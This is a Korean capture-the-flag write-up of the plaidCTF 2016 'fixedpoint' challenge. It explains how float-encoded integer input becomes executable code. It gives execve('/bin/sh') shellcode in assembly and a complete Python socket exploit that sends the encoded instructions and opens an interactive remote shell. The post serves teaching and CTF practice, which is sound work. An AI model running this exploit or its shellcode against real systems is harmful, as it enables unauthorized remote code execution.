fixedpoint (175pt) write-up

By rls1004 | August 1, 2016

[plaid CTF 2016 Quals] fixedpoint (175pt) write-up

막간을 이용해 라이트업!






32bit elf 바이너리와 서버가 주어졌습니다.




solve



바이너리를 실행시켜보면 문자를 입력할 때까지 숫자를 계속 입력 받고,

문자를 입력하면 “here we go”라는 문자열이 출력되며 Segmentation fault 가 뜹니다.


어떻게 된 일인지 IDA를 켜봅시다!



굉장히 짧네요, mmap()함수를 사용하여 0x8000바이트 크기의 실행 가능한 메모리 공간을 할당합니다.

그리고 scanf()함수가 숫자를 입력받는 동안 최대 0x2000개 만큼의 숫자를 입력받는데,

입력받은 숫자는 실수형태로 1337.0으로 나누어지고 v6의 공간에 저장됩니다.

숫자를 입력하지 않거나 0x2000만큼의 입력이 들어왔으면

“here we go”라는 문자열을 출력하고 v6()함수를 실행시킵니다.




내가 입력한 값을 연산하여 v6함수가 실행되니 연산 결과가 쉘 코드가 되면 되겠죠?


( (float)Code * 1337.0 ) / 1337.0 = (float)Code


scanf(“%d”,&v4) → 여기서 우리의 입력값인 “(float)Code * 1337.0”은 int 범위 내의 값이어야 합니다.


(float)Code * 1337.0 ) < 0xFFFFFFFF

∴ (int)Code < 0x4a44119d


여기서 우리는 상위 1바이트를 완전히 제어할 수는 없다는 걸 알수 있습니다.

상위 1바이트는 있어도 그만 없어도 그만인 코드를 넣어주고 1~3바이트 단위의 코드를 삽입해야 합니다.

저는 상위 1바이트로 “inc esi” 에 해당하는 “0x46” 을 넣어주고 아래와 같은 쉘 코드( execve(“/bin/sh”,0,0) )를 만들었습니다.


xor eax, eax

mov ebx, esp

mov al, '/'
mov [ebx], eax
inc ebx

mov al, 'b'
mov [ebx], eax
inc ebx

mov al, 'i'
mov [ebx], eax
inc ebx

mov al, 'n'
mov [ebx], eax
inc ebx

mov al, '/'
mov [ebx], eax
inc ebx

mov al, 's'
mov [ebx], eax
inc ebx

mov al, 'h'
mov [ebx], eax
inc ebx

mov al, '\0'
mov [ebx], eax
inc ebx

dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx
dec ebx

mov al, 0xb
xor ecx, ecx
xor edx, edx
int 0x80




exploit


from struct import *
from socket import *

uf = lambda x : unpack("<f", x)[0]
ui = lambda x : unpack("<L", x)[0]
p = lambda x : pack("<L", x)

def get(x):
return str(ui(p(uf(p(x))*1337)))

def until(s, string):
data = ''
while string not in data:
data += s.recv(1)
return data

host = 'localhost'
port = 7777

sock = socket(AF_INET, SOCK_STREAM, 0)
sock.connect((host, port))

shell = [] # eax = 0xb, ebx = "/bin/sh\0", ecx = 0, edx = 0
shell.append(0x46c03190) # xor eax, eax
shell.append(0x46e38990) # mov ebx, esp

for c in "/bin/sh\0":
shell.append(0x4600b090+ord(c)*0x10000) # mov al, c
shell.append(0x46038990) # mov [ebx], eax
shell.append(0x46904390) # inc ebx

for c in "/bin/sh\0":
shell.append(0x46904b90) # dec ebx

shell.append(0x460bb090) # mov al, 0xb
shell.append(0x46c93190) # xor ecx, ecx
shell.append(0x46d23190) # xor edx, edx
shell.append(0x4680cd90)

for code in shell:
sock.send(get(code)+"\n")

sock.send("end\n")

print until(sock, "go\n")

while True:
cmd = raw_input("$ ")
sock.send(cmd+"\n")
print sock.recv(1024)




# flag is for you :-)


flag :  why_isnt_IEEE_754_IEEE_7.54e2

수고하셨습니다 :)


comments powered by Disqus